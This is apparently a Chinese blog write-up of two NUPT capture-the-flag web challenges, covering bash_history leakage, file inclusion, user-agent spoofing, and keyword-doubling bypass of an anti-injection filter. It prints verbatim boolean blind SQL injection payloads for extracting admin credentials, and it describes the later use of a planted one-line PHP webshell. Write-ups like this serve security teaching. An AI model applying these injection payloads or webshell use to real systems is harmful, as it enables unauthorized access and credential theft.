这篇博客鸽了很久了,现在放出来给大家,算是填坑。
综合题1
题目地址:综合题1
刚进题就是一大堆符号:
一看到这么些个符号,想也没想,直接甩到控制台运行一波看看结果。
hhhh,果然跑出结果了,下个线索肯定在这个文件里,于是小白兔兴高采烈地点开这个文件。
emmmmmm,出题人是真的皮哦。冷静了一下,放下了手中的菜刀,我决定继续做题,整了半天还是在题目链接上找到了提示:
在网上搜索linux-bash找到了一些有用的线索:
在网址中输入这个/.bash_history,看看历史信息中有没有提示:
果然有提示,下载这个文件后,直接找到了这个flag。
综合题2
题目地址:综合题2
首先进入题目界面,看一遍日常骚话:
然后在最下面看到关于cms的介绍:
进入界面看到了很多介绍:
然而看到上面的url,小白兔眉头一皱感觉事情并不简单,于是乎尝试了一发:
果然是文件包含,可以在这里直接看源码。于是把所有文件的源码跑出来,由于太多太长了,我不都贴出来了,后面只贴关键性代码。
回到index界面,由于题目提示了该题不是打xss,所以还是先想办法从注入下手,所以一下就看到这个搜索框:
虽然试试搜索功能:
嘿,还不让我用,说是要指定的浏览器才行,我这暴脾气上来了,查看了一下so.php源码:
原来要这个浏览器,于是开启神器burp,直接抓包,改agent:
搞定,可以使用搜索功能了,不让我们用肯定有猫腻,想尝试一下注入,不过在上面看到有防注入,查看一下antiinject.php的源码:
可以分析一下,这个过滤是将敏感字符删除,且只删除一次,由于使用了strtolower这个函数,不能使用大小绕过。所以思路就有了:
(1)空格被过滤了,使用/**/替代空格
(2)由于只删除一次,所以用两次重复替代关键词,如and -> aandnd
(3)由于’=’被过滤,所以使用’<’或’>’来代替
尝试一下:
正确回显和错误回显明显不同,所以可以判断此处可以进行注入。在读sm.txt时我们知道,题目已经把admin数据表的结构告诉我们了,因此我们构造下列语句判断表中记录数:
soid=1/**/Anandd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/limit/**/0,1) ——> True
soid=1/**/Anandd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/limit/**/1,1) ——> False
从上面的回显可以判断出,数据表中只有一条数据,那估计就是我们登录后台需要的账号密码,继续构造语句注入:
#判断用户名长度
soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(usernanameme)>4) ——> True
soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(usernanameme)>5) ——> False
#判断用户密码长度
soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaspasss)>33) ——> True
soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaspasss)>34) ——> False
从上面的语句可以判断出,用户名长度为5(估计就是admin),而密码是经过加密后的34位长度。注入的语句构造如下:
#判断用户名第一个字母:
soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/WHERE/**/ascii(substring(usernanameme/**/,1,1))>96) ——> True
soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/WHERE/**/ascii(substring(usernanameme/**/,1,1))>97) ——> False
从上面构造语句的结构可以判断出第一个字母的ascii码为97,也就是ascii值‘a’。同理,构造语句注出用户名的第二位,第三位以及密码的所有数据。盲注是很令人心烦的时,想偷懒的小伙伴我已经替你们把脚本写好打包好了,可以用脚本直接跑出管理员的数据(源码在后面):
这里我在跑自己的程序时,发现跑出的密码还包含‘空格’,而网上其他人关于该题的脚本跑出的密码却是34位的纯数字,这一度让我对自己的脚本产生怀疑,我花了很多时间找自己代码的错误,然而并没有找到。直到后来,我发现上面的sm.txt中提到,他们自己写了一个加密算法,在passencode.php中,于是查看源码:
加密的方式很简单,就是把ascii值转成ascii码后连接,而连接的中间符号就是‘空格’。因此我跑的结果其实是合理的,后来我又分析了网上其他人的脚本,发现确实是他们写错了,他们没有考虑到‘空格’这个字符,所以遇到到时全输出成了数字0。这个故事告诉我们,不要盲目相信网上公认的解题脚本,他们可能也会出错!我写的脚本:Here,不过需要python3以及request包。最后的密码直接用ascii码反解ascii值就行,解出的明文密码为fuckruntu。
有了管理员账号密码,然后就找后台了,后台很好找,在about.php的源码里就有:
所以进入后台地址:http://cms.nuptzj.cn/loginxlcteam/
查看,发现是后台,于是输入我们获得的管理员账号密码:
成功进入后台,显示如下:
emmmm,看来程序员是真的懒,居然给自己的网站放了一句话木马,我们还是用文件包含去看一下这个木马:
直接把这一句话木马复制到google查,发现这是一个回调函数的一句话木马,使用方法大致如下:
读了一下phpinfo()发现还是禁了一些函数,不过我们还是有办法读取目录文件列表:
拿到了存着flag的文件名,我们使用之前的文件包含就可以直接读flag了:
总结
国内最近迎来了一批ctf热潮,而且看起来还会持续很长一段时间,感兴趣的朋友可以多看看ctf的题,南邮的题目还是比较基础的,还是有很多平台提供不错的题目,而看看往届比赛的题目的writeUp也是不错的选择。